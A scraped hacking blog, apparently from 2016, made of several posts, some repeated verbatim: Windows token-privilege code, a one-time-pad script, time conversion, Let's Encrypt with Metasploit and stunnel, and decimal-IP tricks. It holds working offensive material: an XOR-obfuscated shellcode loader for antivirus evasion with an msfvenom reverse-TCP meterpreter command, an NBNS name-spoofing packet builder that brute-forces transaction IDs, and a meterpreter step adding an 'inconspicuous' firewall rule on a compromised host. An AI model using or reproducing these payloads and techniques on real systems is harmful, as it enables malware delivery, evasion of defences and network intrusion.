So awhile ago I was playing around with tokens and such, It was allot of fun but one of the things that tripped me up pretty bad was a efficient way to enable all the privileges that I had access to. Over the last week or so it was one of the things I took a look at so I'm going to explain it as best I can. I hope that it will make at least a little more sense than Microsoft's horrible examples.... Honestly Microsoft you need to have someone review all your shit once a year as some of it wont even compile, also the usability of your msdn site is simply horrendous.
Ok so making this painless as possible lets start off with getting the current process token. We pass it the Handle to the current process, which is exactly what GetCurrentProccess() returns. Then our desired access, and finally a Pointer to our Handle which is how we get our token out of the command.
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)
I wanted to simply enable all of the privs I had access to, I didn't want just one so what I did was made a Array and then looped through each. There are 5 that a normal user usually has access to, I'll add in a 6th just so you can see.
// We define our array...
const char* All_Privs[] = {
"SeShutdownPrivilege",
"SeChangeNotifyPrivilege",
"SeUndockPrivilege",
"SeIncreaseWorkingSetPrivilege",
"SeTimeZonePrivilege",
"SeImpersonatePrivilege"
};
// And then get the size..
const int Num_Privs = sizeof(All_Privs);
Before we can loop through all of them we have to set up a few variables first.
LUID luid;
TOKEN_PRIVILEGES Token_Privs;
BOOL Error_Check;
Here we start our for loop, we have to lookup each privileged to get the luid for it.We then set that luid and the Enable flag for it which is actually just 2, in the Token_Privs structure. After that we simply call AdjustTokenPrivileges with a pointer to the struct, check for errors and continue the loop.
for (int i = 0; i < Num_Privs; i++)
{
LookupPrivilegeValue(NULL, All_Privs[i], &luid);
Token_Privs.PrivilegeCount = 1;
Token_Privs.Privileges[0].Luid = luid;
Token_Privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 2 = enable
Error_Check = AdjustTokenPrivileges(
hToken, // our token
FALSE,
&Token_Privs, // pointer to our privs structure
NULL,
NULL,
NULL
);
// Now for the error checking..
if (Error_Check && GetLastError() != ERROR_SUCCESS)
{
printf("[*] %s is NOT enabled!... Error: %d\n", All_Privs[i], GetLastError()); // 1300 = not assigned
}
else
{
printf("[!] %s is now enabled!\n", All_Privs[i]);
}
}
So that's fairly simple, and totally accomplishes what you need it to do. But it just didn't look very good to me, so I did a little bit of digging and found a somewhat better approach.
What we do is get the token information from the token, this contains a list of all the privileges it has enabled and disabled alike. We loop through each one and since its a pointer we set the enable flag for each one that's disabled. Then at the very end we pass that into AdjustTokenPrivledges and thats it. We can then go shut down the computer or impersonate whoever we want... as long as your Token allows it.
void EnableAllPrivs(HANDLE hToken)
{
// Once to get the size
DWORD dwGetSize = 0;
GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &dwGetSize); //
DWORD dwRetLen = 0;
LPBYTE lpTokenInfo = new BYTE[dwGetSize];
DWORD dwTokeInfoLen = dwGetSize;
// Again to get the info
if (!GetTokenInformation(hToken, TokenPrivileges, lpTokenInfo, dwTokeInfoLen, &dwRetLen))
{
printf("There was a error with GetTokenInformation %d\n", GetLastError());
}
PTOKEN_PRIVILEGES ptHeldPrivs = reinterpret_cast<PTOKEN_PRIVILEGES>(lpTokenInfo);
wprintf(L"We have %d enabled!\n", ptHeldPrivs->PrivilegeCount);
// here is how we get what is actually enabled
for (int i = 0; i < ptHeldPrivs->PrivilegeCount; i++)
{
PLUID_AND_ATTRIBUTES plAtt = &ptHeldPrivs->Privileges[i];
wchar_t szName[256] = { 0 };
DWORD dwName = 256;
LookupPrivilegeNameW(NULL, &plAtt->Luid, szName, &dwName);
wprintf(L"The privledge %s has the attributes :%ld\n", szName, plAtt->Attributes);
if (plAtt->Attributes == 0) // 0 = none // 1 default // 2 enable // (3) enabledbydefault // 4 removed
{
plAtt->Attributes = SE_PRIVILEGE_ENABLED; // 2
}
}
// now we enable the privs
AdjustTokenPrivileges(hToken, FALSE, ptHeldPrivs, 0, NULL, NULL);
}
A quick note... the above function "should" be in unicode, and if there are errors with Anything please let me know.
Taking it a little bit further lets take a quick look at what the TOKEN_PRIVILEGES structure looks like. First off the PTOKEN_PRIVILEGES is simply a pointer to to the structure stored in memory. Furthermore its actually just a dword/int32 that defines the length/amount of privs followed by a array of the LUID_AND_ATTRIBUTE struct, which is actually just a LUID struct and a dword/int32 that defines the Attributes/privs that are enabled/disabled. Finally the LUID struct is just 2 dwords/int32. lol did we get all that?
Its actually super simple honestly once you see it in memory...
PrivilegeCount
LUID.lowpart ~~ LUID.highpart ~~ Attributes
As you can see in the above picture the "SeChangeNotifyPrivilege" is set to enabled and it is default enabled as defined by the 3. All of the rest are disabled at the moment.
Anyways what we can actually do if we really wanted to is write out or own bytes convert it to a pointer and then pass it to AdjustTokenPrivileges. I recently just did this so I didn't have to mess with csharps pinvoke structures and it works with no issues.
Anyways that's all for now...
Tuesday, April 12, 2016
Monday, March 21, 2016
XOR Your Shellcode.
So the other day I was messing about and stumbled across this link Bypassing AV with 10 lines The author does a really good job and I suggest reading it. Basically to sum it up If you generate shellcode you can XOR it with a random key and then compile and you wont get flagged. That's not to say the heuristics wont pick you up, but the signatures sure wont! Anyways the compile code looks something like this.
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {char b[] = {0x34,0xa8,0x47 --SNIP--};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 0x89 ;}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
It works great, and all we have to do is xor our code, format it properly and put it in there. If you read my last post youll realize that xor'ing is super super simple. But I decided to whip up a little script so I could do it on the fly.
You can find it here https://github.com/trump0dump/helpful/blob/master/xor_shellcode.py its really very simple.
You start by generating your shellcode with something like so.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f hex > shell_code
That will output into a file formatted like this.
bd21ce1d21ddc2d9 --SNIP-- 59b7683
We then read that file, xor each byte format it and output it into our file to be compiled.
Simple, Sweet, and Easy.
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {char b[] = {0x34,0xa8,0x47 --SNIP--};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 0x89 ;}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
It works great, and all we have to do is xor our code, format it properly and put it in there. If you read my last post youll realize that xor'ing is super super simple. But I decided to whip up a little script so I could do it on the fly.
You can find it here https://github.com/trump0dump/helpful/blob/master/xor_shellcode.py its really very simple.
You start by generating your shellcode with something like so.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f hex > shell_code
That will output into a file formatted like this.
bd21ce1d21ddc2d9 --SNIP-- 59b7683
We then read that file, xor each byte format it and output it into our file to be compiled.
Simple, Sweet, and Easy.
Sunday, March 13, 2016
Grow your own crypto...
I missed posting last week but I had some personal stuff I had to take care of. Ive been doing a bunch of stuff with csharp and crypto lately. Its funny because I don't actually like messing with crypto but sometimes when you know you have a good idea you gotta run with it!
Before I continue I just want to say a quick little something as I'm pretty sure this post is going to put me on yet another list. There is a major difference between having someone with a ts watching everything you do and some jerk-off in your local police department doing it, or for that matter the fbi, and yes I know and understand not all of you/them are the same :) I think this is the reason the fbi v apple case bothers so many of us tech people.
So with that out of the way lets discuss one time pads.. I actually had this idea years ago and what I wanted to do was disconnect a computer and print out 2 copy's of say 20 pages, I could then hand one copy off to whoever I wanted and call them up, I could say anything I wanted and as long as I burned the page afterwards no one would ever be able to figure it out. But what is a onetime pad you are asking... well its really very very simple.
A || a = 192 | b = 100 | c = 32 | d = 10 | etc..
B || a = 120 | b = 36 | c = 255 | d = 95 | etc..
C || a = 3 | b = 1 | c = 33 | d = 7 | etc..
etc..
Now you fill up a entire sheet and as long as you don't use the same thing twice its unbreakable, otherwise you become vulnerable to statistical analysis. So I simply call my mom tell her to go to page 37 and then say b-36, c-3,a-10,c-7,a-192,b-95 and she reads off "BadDad" if we are both careful to burn the page afterwards there is no possible way for the message to be broken... this is what spies use. (btw these numbers don't mean anything sorry lol)
Lets say I wanted to do the same thing but digitally, something that would enable me to write out a pad to a disk give it to my buddy at the next Con we go to and then send them any new script or 0day remotely via whatever means. This is actually a very simple thing to do and its so simple that its utterly scary when you think about it. There is no possible way to backdoor it, and no possible way to break it other than the rubber hose attack. Especially if I have good opsec when generating, storing and transferring the pad. This btw is how most crypto is broken or defeated!!
The one issue and really the only issue that we are going to have is generating truly random numbers, I don't want to get sidetracked but this is honestly allot bigger issue than anyone realizes. If you want a example take a look at the global consciousness project and then.. zomg.. the matrix is real!
Anyways to make a basic pad all we need to do is this.
from Crypto import Random
rndfile = Random.new()
key = rndfile.read(8092)
This will generate a 8092byte key and as long as our msg is under that we are good to go, but how do you actually encrypt it you might ask. The answer to that is super simple, we just XOR it.
unbreakable = ""
for i in range(len(msg)):
unbreakable += chr(ord(msg[i]) ^ ord(key[i]))
To get the msg back out we simply reverse it for instance.
decrypted = ""
for i in range(len(unbreakable)):
decrypted += chr(ord(unbreakable[i]) ^ ord(key[i]))
So in reality "unbreakable" crypto is possible in as little as 6 lines of code... This is your o-shit moment.
The code I have uses that same thing but I also thought maybe I would want to send more than one msg, or maybe my friend would want to send something back. So what we do is generate a bunch of pads, all at ever increasing sizes "because im not sure how big the msg might be". That can be accomplished like so.
count = 100
padsize = 1024
out_bytes = ""
for i in range(count):
out_bytes += rndfile.read(padsize * i)
I can then tell him to use pad number 37 and as long as my msg is under 37888bytes long he simply xor's what I sent him and gets the decrypted content (37 * 1024 = 37888).
Anyways I think that's enough from me for now, and I have more important things to play with so you can find the code here. https://github.com/trump0dump/helpful/blob/master/one_time_pad.py
tl;dr
xor is unbreakable when using truly random numbers
And this is it in action...
Before I continue I just want to say a quick little something as I'm pretty sure this post is going to put me on yet another list. There is a major difference between having someone with a ts watching everything you do and some jerk-off in your local police department doing it, or for that matter the fbi, and yes I know and understand not all of you/them are the same :) I think this is the reason the fbi v apple case bothers so many of us tech people.
So with that out of the way lets discuss one time pads.. I actually had this idea years ago and what I wanted to do was disconnect a computer and print out 2 copy's of say 20 pages, I could then hand one copy off to whoever I wanted and call them up, I could say anything I wanted and as long as I burned the page afterwards no one would ever be able to figure it out. But what is a onetime pad you are asking... well its really very very simple.
A || a = 192 | b = 100 | c = 32 | d = 10 | etc..
B || a = 120 | b = 36 | c = 255 | d = 95 | etc..
C || a = 3 | b = 1 | c = 33 | d = 7 | etc..
etc..
Now you fill up a entire sheet and as long as you don't use the same thing twice its unbreakable, otherwise you become vulnerable to statistical analysis. So I simply call my mom tell her to go to page 37 and then say b-36, c-3,a-10,c-7,a-192,b-95 and she reads off "BadDad" if we are both careful to burn the page afterwards there is no possible way for the message to be broken... this is what spies use. (btw these numbers don't mean anything sorry lol)
Lets say I wanted to do the same thing but digitally, something that would enable me to write out a pad to a disk give it to my buddy at the next Con we go to and then send them any new script or 0day remotely via whatever means. This is actually a very simple thing to do and its so simple that its utterly scary when you think about it. There is no possible way to backdoor it, and no possible way to break it other than the rubber hose attack. Especially if I have good opsec when generating, storing and transferring the pad. This btw is how most crypto is broken or defeated!!
The one issue and really the only issue that we are going to have is generating truly random numbers, I don't want to get sidetracked but this is honestly allot bigger issue than anyone realizes. If you want a example take a look at the global consciousness project and then.. zomg.. the matrix is real!
Anyways to make a basic pad all we need to do is this.
from Crypto import Random
rndfile = Random.new()
key = rndfile.read(8092)
This will generate a 8092byte key and as long as our msg is under that we are good to go, but how do you actually encrypt it you might ask. The answer to that is super simple, we just XOR it.
unbreakable = ""
for i in range(len(msg)):
unbreakable += chr(ord(msg[i]) ^ ord(key[i]))
To get the msg back out we simply reverse it for instance.
decrypted = ""
for i in range(len(unbreakable)):
decrypted += chr(ord(unbreakable[i]) ^ ord(key[i]))
So in reality "unbreakable" crypto is possible in as little as 6 lines of code... This is your o-shit moment.
The code I have uses that same thing but I also thought maybe I would want to send more than one msg, or maybe my friend would want to send something back. So what we do is generate a bunch of pads, all at ever increasing sizes "because im not sure how big the msg might be". That can be accomplished like so.
count = 100
padsize = 1024
out_bytes = ""
for i in range(count):
out_bytes += rndfile.read(padsize * i)
I can then tell him to use pad number 37 and as long as my msg is under 37888bytes long he simply xor's what I sent him and gets the decrypted content (37 * 1024 = 37888).
Anyways I think that's enough from me for now, and I have more important things to play with so you can find the code here. https://github.com/trump0dump/helpful/blob/master/one_time_pad.py
tl;dr
xor is unbreakable when using truly random numbers
And this is it in action...
Monday, February 29, 2016
Windows Time in py!
The unix epoch is 1, January, 1970 apparently that's when all linux/unix computers were born. Windows however likes to think it's a lot older as its "born on date" is 1, January, 1601 it can be a little confusing having to switch between the 2. So I wrote a little script to aid in the process. Its fairly simple but ill go over it.
On linux the time is stored in seconds from midnight, so if for instance I had the number 1337133700 I could input that in python using time.ctime(1337133700) and I would get back 'Tue May 15 22:01:40 2012' .. which must have been one hell of a day.
Anyways on windows its a little different as linux uses a 32bit value and here we use a 64bit value, and rather than seconds its calculated using milliseconds since Jan,1,1601. To convert back and forth is actually really simple. We just take our unix time "1337133700" and add "11644473600" which is the "magic" number of milliseconds between 1601 and 1970. Then we simply multiply by 10000000.. so
(1337133700 + 11644473600) = 12981607300
(12981607300 * 10000000) = 129816073000000000
129816073000000000 = milliseconds since 1601
And that's really it, now most of the time you are not going to see that, however what you are going to see is a hex representation so to convert it simply use.
struct.pack("q", 129816073000000000)
and you will get \x00\x1a\x4d\xd5\x07\x33\xcd\x01
Now you might see something a little different if doing this in the shell but that's just python trying to convert hex into ascii for you... Anyways these are the 2 functions.
import time
import struct
def epoch_to_ms(ct = time.time()):
print("Input time since Epoch is: %s" % time.ctime(ct))
ms = (ct + 11644473600) * 10000000
print("Seconds since Jan, 1 1970: %f" % ct)
print("Millsec since Jan, 1 1601: %f" % ms)
pms = struct.pack("q", ms)
print("Little Endian Hex Value : %s" % '\\x' + '\\x'.join(x.encode('hex') for x in str(pms)))
def hexms_to_unix(ms_time):
ms = struct.unpack("q", ms_time)[0]
ct = (ms / 10000000) - 11644473600
print("Millsec since Jan, 1 1601: %f" % ms)
print("Seconds since Jan, 1 1970: %f" % ct)
print("Input time since Epoch is: %s" % time.ctime(ct))
They both work as you can see here.
Now you might ask yourself, where am I ever going to see that.. well its simple really... ;)
A quick 2 things off subject...
1: I am working on getting another blog setup as blogger really bothers me.
2: The color always helps me, if you don't like it I'm sorry.
Sunday, February 21, 2016
Fun with letsencrypt
So if you haven't heard there is this awesome new thing called letsencrypt. It allows you to make valid signed certificates for pretty much any domain you have. Including dyndns and even afraid.org. So here is a very simple and 100% FREE way to get it up and running with python. First go over to afraid and grab yourself a domain, personally I always liked chickenkiller.com but it doesn't matter there are hundreds to choose from.
I say do this first because its going to take awile for it to propagate with your IP. Mine took atleast a few hours, and if I remember correctly the e-mail took a few hours also... but hey its free ;)
Also quickly while we are on the subject of free stuff grab yourself a free amazon account for a year, you'll need a valid phone number but that's a non issue really.
Now after you sign up for afraid.org and get a domain go to the "Dynamic DNS" menu and at the bottom you will find a wget/curl/direct url script that has your personal url inside. Simply hit this url on whatever box you like and bang you just updated your domain to that ip. "This is why I love afraid fyi" Anyways so now all you need is letsencrypt, I did mine on amazon simply so I didn't have to deal with port forwarding on my router.
Grab a copy from github and read it over, its pretty simple really and after running it the first time to make sure I had all the needed packages I basically just used this command and followed the prompts.
./letsencrypt-auto --no-self-upgrade --register-unsafely-without-email certonly
Now your pem files are stored here /etc/letsencrypt/archive/fancydomain.whatever.com
That's really it your pretty much all set, you can load them into Apache, or Nginx or whatever else you like, however if you are going to do that they have some pretty good self installers so you might want to choose that road.
Anyways, like I said I did mine on my amazon, so I needed to get ssh to forward properly if I wanted to run python locally, thats relatively simple but remember to set GatewayPorts clientspecified in the /etc/sshd_config we will want a reverse forward so ssh -R :8080:127.0.0.1:8080 your_ssh_server
Now as long as you have the firewall configured with amazon or whatever your host might be, and you downloaded your keys from the /etc/letsencrypt/archive/ folder you should be good to go.
For python both of these work :)
import socket, ssl
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.options = ssl.PROTOCOL_SSLv23
context.load_cert_chain(certfile="/pentest/cert.pem", keyfile="/pentest/privkey.pem")
bindsock = socket.socket()
bindsock.bind(('0.0.0.0', 8080))
bindsock.listen(5)
cnsock, fromaddr = bindsock.accept()
sl = context.wrap_socket(cnsock, server_side=True)
sl.recv(1024)
This one is a little bit less painless.. but remember to move your cert files out of the directory your using as lol
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8080), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="/pentest/cert.pem", keyfile="/pentest/privkey.pem", server_side=True)
httpd.serve_forever()
One last thing and regretfully I didn't take screencaps but it does work. Inside your /etc/letsencrypt/archive/yoursite.com there are 4 files.
cert.pem chain.pem fullchain.pem privkey.pem
If you do something like so...
cat cert.pem privkey.pem > both.pem
You can now use the both.pem with metasploit... you can then update your ip on afraid.org to whatever you like... even if its a internal ip! This will also work with stunnel if you do something like so...
echo '[lets_encrypt]
accept = 443
connect = 127.0.0.1:80
cert = /pentest/both.pem' > /etc/stunnel/stunnel.conf
stunnel4 /etc/stunnel/stunnel.conf
Whats so nice about this is stunnel will allow you to use your cert with almost ANYTHING regardless if it uses ssl or not. For instance above I showed you how to use python with ssl support, but if I wanted to I could use stunnel and never have to worry about getting ssl working.
Anyways Enjoy!
I say do this first because its going to take awile for it to propagate with your IP. Mine took atleast a few hours, and if I remember correctly the e-mail took a few hours also... but hey its free ;)
Also quickly while we are on the subject of free stuff grab yourself a free amazon account for a year, you'll need a valid phone number but that's a non issue really.
Now after you sign up for afraid.org and get a domain go to the "Dynamic DNS" menu and at the bottom you will find a wget/curl/direct url script that has your personal url inside. Simply hit this url on whatever box you like and bang you just updated your domain to that ip. "This is why I love afraid fyi" Anyways so now all you need is letsencrypt, I did mine on amazon simply so I didn't have to deal with port forwarding on my router.
Grab a copy from github and read it over, its pretty simple really and after running it the first time to make sure I had all the needed packages I basically just used this command and followed the prompts.
./letsencrypt-auto --no-self-upgrade --register-unsafely-without-email certonly
Now your pem files are stored here /etc/letsencrypt/archive/fancydomain.whatever.com
That's really it your pretty much all set, you can load them into Apache, or Nginx or whatever else you like, however if you are going to do that they have some pretty good self installers so you might want to choose that road.
Anyways, like I said I did mine on my amazon, so I needed to get ssh to forward properly if I wanted to run python locally, thats relatively simple but remember to set GatewayPorts clientspecified in the /etc/sshd_config we will want a reverse forward so ssh -R :8080:127.0.0.1:8080 your_ssh_server
Now as long as you have the firewall configured with amazon or whatever your host might be, and you downloaded your keys from the /etc/letsencrypt/archive/ folder you should be good to go.
For python both of these work :)
import socket, ssl
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.options = ssl.PROTOCOL_SSLv23
context.load_cert_chain(certfile="/pentest/cert.pem", keyfile="/pentest/privkey.pem")
bindsock = socket.socket()
bindsock.bind(('0.0.0.0', 8080))
bindsock.listen(5)
cnsock, fromaddr = bindsock.accept()
sl = context.wrap_socket(cnsock, server_side=True)
sl.recv(1024)
This one is a little bit less painless.. but remember to move your cert files out of the directory your using as lol
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8080), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="/pentest/cert.pem", keyfile="/pentest/privkey.pem", server_side=True)
httpd.serve_forever()
One last thing and regretfully I didn't take screencaps but it does work. Inside your /etc/letsencrypt/archive/yoursite.com there are 4 files.
cert.pem chain.pem fullchain.pem privkey.pem
If you do something like so...
cat cert.pem privkey.pem > both.pem
You can now use the both.pem with metasploit... you can then update your ip on afraid.org to whatever you like... even if its a internal ip! This will also work with stunnel if you do something like so...
echo '[lets_encrypt]
accept = 443
connect = 127.0.0.1:80
cert = /pentest/both.pem' > /etc/stunnel/stunnel.conf
stunnel4 /etc/stunnel/stunnel.conf
Whats so nice about this is stunnel will allow you to use your cert with almost ANYTHING regardless if it uses ssl or not. For instance above I showed you how to use python with ssl support, but if I wanted to I could use stunnel and never have to worry about getting ssl working.
Anyways Enjoy!
4 Pretty Amazing Random Things
So every now and then you come across something that's extremely novel and basic yet changes your very understanding and or thought process on a given subject. I have apparently hit a stroke of good luck this last week, as I came across 2 of them by pure chance. The last one I hinted at a few posts ago and I want to go over it again. I promise you they're not very well known so pay attention and I bet you'll learn something. A fair warning first tho, while each is pretty nifty, I have yet to find them "exploitable" except for maybe the last one... Lets get right down to it.
1: Navigating in linux and windows using the command line. Apparently I wasn't privileged enough to be part of the "in crowd" when everyone was explaining ease of navigation.
pushd: Will store a Directory
popd: Will pop you to the stored Directory
It works in both linux and windows, Ive used it more than once and trust me it does save some time!
2: The second one is somewhat known but still nifty, anytime you put a link in a page that doesn't have a tld at the end, or even if it does and windows cant find it. You're going to be sending out broadcast llmnr and nbns requests to your network looking for it. The really interesting part of this is that since browsers preload dns for "I think" all the links on a page, your going to hitting it no matter what, test it out like so...
<img alt="wow" src="http://wut.">
The way I found this out, is actually via misconfigured javascript on a site and I'm running noscript so think about that...
3: Probably the most interesting, and I already mentioned it before. NetBios 139 does NOT bind to 0.0.0.0. lets take a closer look.
As you can see it binds to your actual IP address, yet does NOT bind to localhost so we can in fact do this...
In addition to that you can see that its running as pid 4 "system", what makes it even more odd is that udp 137 and udp 138 also have the same behavior.
4: If I was to ping google.com the IP would resolve to... 216.58.216.238, and if I went to http://216.58.216.238 I would get a google page, well depending if they change the dns but this address is also the same google page http://3627735278 ... ya now that is interesting. It works in FF, IE, and from the cmdline. The funny part is this is how its expected to work for instance try this.
Anyways if I wanted to go to 127.0.0.1, it would be this 2130706433 I wrote a little script just to mess around with it and you can find it here.
https://github.com/trump0dump/ip_num
So what are the implications of this, well the first thing I tried was hitting a smb path and sadly it doesn't appear to work but my next immediate thought was in any sort of xss that filters for ....
So there you have it 4 randomly cool things, and I bet you learned something :)
1: Navigating in linux and windows using the command line. Apparently I wasn't privileged enough to be part of the "in crowd" when everyone was explaining ease of navigation.
pushd: Will store a Directory
popd: Will pop you to the stored Directory
It works in both linux and windows, Ive used it more than once and trust me it does save some time!
2: The second one is somewhat known but still nifty, anytime you put a link in a page that doesn't have a tld at the end, or even if it does and windows cant find it. You're going to be sending out broadcast llmnr and nbns requests to your network looking for it. The really interesting part of this is that since browsers preload dns for "I think" all the links on a page, your going to hitting it no matter what, test it out like so...
<img alt="wow" src="http://wut.">
The way I found this out, is actually via misconfigured javascript on a site and I'm running noscript so think about that...
3: Probably the most interesting, and I already mentioned it before. NetBios 139 does NOT bind to 0.0.0.0. lets take a closer look.
As you can see it binds to your actual IP address, yet does NOT bind to localhost so we can in fact do this...
In addition to that you can see that its running as pid 4 "system", what makes it even more odd is that udp 137 and udp 138 also have the same behavior.
4: If I was to ping google.com the IP would resolve to... 216.58.216.238, and if I went to http://216.58.216.238 I would get a google page, well depending if they change the dns but this address is also the same google page http://3627735278 ... ya now that is interesting. It works in FF, IE, and from the cmdline. The funny part is this is how its expected to work for instance try this.
Anyways if I wanted to go to 127.0.0.1, it would be this 2130706433 I wrote a little script just to mess around with it and you can find it here.
https://github.com/trump0dump/ip_num
So what are the implications of this, well the first thing I tried was hitting a smb path and sadly it doesn't appear to work but my next immediate thought was in any sort of xss that filters for ....
So there you have it 4 randomly cool things, and I bet you learned something :)
Sunday, February 14, 2016
NetBios Name Spoofer...
So since Potato recently got a update I decided to put this together. Now you don't need to mess with Responder if you don't want to.. altho you should since its badass! The funny part about this is I actually threw it together in about 20min. Something must be working because I'm improving a lot more recently.
Ill give a little explanation but the code is very very readable and I left plenty of comments in there so you can see whats going on.
This is the insane way of encoding the NetBios name.. So if i was to use WPAD as the example it will look like this
'FHFAEBEECACACACACACACACACACACAAA'
And if I was to use DISABLEWPADNOW it would look like this.
'EEEJFDEBECEMEFFHFAEBEEEOEPFHCAAA'
def make_nbname(name):
spoof_name = name.upper()
encoded_name = ''.join([chr((ord(c)>>4) + ord('A'))
+ chr((ord(c)&0xF) + ord('A')) for c in spoof_name])
padding = "CA"*(15-len(spoof_name))
return '\x20' + encoded_name + padding + role[0]
The '\x20' above ^ is the start of a answer reply, and the role is from this... You can use any one of these, I have not tried them all but I really should.
role = {
0:"\x41\x41\x00", # :"Workstation/Redirector" # normal
1:"\x42\x4c\x00", # :"Domain Master Browser"
2:"\x42\x4d\x00", # :"Domain Controller"
3:"\x42\x4e\x00", # :"Local Master Browser"
4:"\x42\x4f\x00", # :"Browser Election"
5:"\x43\x41\x00", # :"File Server"
6:"\x41\x42\x00" # :"Browser"
}
Here is how we make our packet, I ripped most of it from metasploit..
def make_packet(name, return_ip):
pkt = '\x00\x00' # TID better to do it on the fly than call the method over and over
pkt += "\x85\x00" # Flags = response + authoritative + recursion desired
pkt +="\x00\x00" # Questions = 0
pkt +="\x00\x01" # Answer RRs = 1
pkt +="\x00\x00" # Authority RRs = 0
pkt +="\x00\x00" # Additional RRs = 0
pkt += make_nbname(name) # original query name
pkt +="\x00\x20" # Type = NB ...whatever that means
pkt +="\x00\x01" # Class = IN
pkt += struct.pack('>I', sec) # \x00\x00\x00\xff = 4min 15sec
pkt +="\x00\x06" # Datalength = 6
pkt +="\x00\x00" # Flags B-node, unique
pkt += socket.inet_aton(return_ip) # 32bit packed binary, ipv6 uses socket.inet_pton()
return pkt
The one thing to really pay attention to is the struct part, that is how we encode the (Time To Live) its 4 bytes long and represented in seconds so that 60 seconds will be, '\x00\x00\x00\x3c' or say 10Minutes will be 10 * 60 = 600Seconds, and 600 in hex is '0x0258' so it would look like this '\x00\x00\x02\x58' .. anyways none of that should matter just define sec = 60 and your good to go. Its defaulted to 255 fyi which is 4min 15seconds :)
The very last part is how the whole thing works, so whenever your computer makes a NBNS request, there is a 2byte TransactionID associated with it. This I guess was supposed to prevent this very thing from happening, or maybe it was designed as a check I'm not sure. Regardless, since its 2bytes there are only 65,535 possible numbers and we simply loop through all of them. On a modern lan this is not a issue, and turns out to roughly 4.4Mbytes of data.
And there you have it, its actually rather easy. I would recommend using Responder for now but if anyone ever needs it this is how its done :)
The code can be found here https://github.com/trump0dump/netbios
Ill give a little explanation but the code is very very readable and I left plenty of comments in there so you can see whats going on.
This is the insane way of encoding the NetBios name.. So if i was to use WPAD as the example it will look like this
'FHFAEBEECACACACACACACACACACACAAA'
And if I was to use DISABLEWPADNOW it would look like this.
'EEEJFDEBECEMEFFHFAEBEEEOEPFHCAAA'
def make_nbname(name):
spoof_name = name.upper()
encoded_name = ''.join([chr((ord(c)>>4) + ord('A'))
+ chr((ord(c)&0xF) + ord('A')) for c in spoof_name])
padding = "CA"*(15-len(spoof_name))
return '\x20' + encoded_name + padding + role[0]
The '\x20' above ^ is the start of a answer reply, and the role is from this... You can use any one of these, I have not tried them all but I really should.
role = {
0:"\x41\x41\x00", # :"Workstation/Redirector" # normal
1:"\x42\x4c\x00", # :"Domain Master Browser"
2:"\x42\x4d\x00", # :"Domain Controller"
3:"\x42\x4e\x00", # :"Local Master Browser"
4:"\x42\x4f\x00", # :"Browser Election"
5:"\x43\x41\x00", # :"File Server"
6:"\x41\x42\x00" # :"Browser"
}
Here is how we make our packet, I ripped most of it from metasploit..
def make_packet(name, return_ip):
pkt = '\x00\x00' # TID better to do it on the fly than call the method over and over
pkt += "\x85\x00" # Flags = response + authoritative + recursion desired
pkt +="\x00\x00" # Questions = 0
pkt +="\x00\x01" # Answer RRs = 1
pkt +="\x00\x00" # Authority RRs = 0
pkt +="\x00\x00" # Additional RRs = 0
pkt += make_nbname(name) # original query name
pkt +="\x00\x20" # Type = NB ...whatever that means
pkt +="\x00\x01" # Class = IN
pkt += struct.pack('>I', sec) # \x00\x00\x00\xff = 4min 15sec
pkt +="\x00\x06" # Datalength = 6
pkt +="\x00\x00" # Flags B-node, unique
pkt += socket.inet_aton(return_ip) # 32bit packed binary, ipv6 uses socket.inet_pton()
return pkt
The one thing to really pay attention to is the struct part, that is how we encode the (Time To Live) its 4 bytes long and represented in seconds so that 60 seconds will be, '\x00\x00\x00\x3c' or say 10Minutes will be 10 * 60 = 600Seconds, and 600 in hex is '0x0258' so it would look like this '\x00\x00\x02\x58' .. anyways none of that should matter just define sec = 60 and your good to go. Its defaulted to 255 fyi which is 4min 15seconds :)
The very last part is how the whole thing works, so whenever your computer makes a NBNS request, there is a 2byte TransactionID associated with it. This I guess was supposed to prevent this very thing from happening, or maybe it was designed as a check I'm not sure. Regardless, since its 2bytes there are only 65,535 possible numbers and we simply loop through all of them. On a modern lan this is not a issue, and turns out to roughly 4.4Mbytes of data.
And there you have it, its actually rather easy. I would recommend using Responder for now but if anyone ever needs it this is how its done :)
The code can be found here https://github.com/trump0dump/netbios
Tuesday, February 9, 2016
Capturing Tokens...
I have been writing a whole bunch of code in C# lately, and I decided to implement something I wrote in c++ a couple months ago. So that's what I'm going to discuss today. Typically if you have access to a network you can do a few things, one of them is you set up a Capture the Hash box. This of course doesn't give you a usable hash, but rather a hash you must crack and then can use for whatever you like, be it smb, wmi etc etc.
So there are a ton of tools to use for capturing crackable hashes and or relaying them, Metasploit, Impacket, and Responder all have one to varying degrees or another. What I'm going to show you is how to take a network authentication and use it locally to get a token. Then we can simply impersonate that with incognito or write our own method to do it. This is what I'm working on in C# at the moment...
So lets assume we have managed to become LOCAL SYSTEM via potato or some other method and we have a meterpreter session on the box. Its on a 2k12 network and nothing else is running so only RPC port 135 is open. I'm going to start by enabling port 80 on the firewall by running this command with meterpreter.
netsh advfirewall firewall add rule name="Inconspicuous Rule Name" dir=in action=allow protocol=TCP localport=80
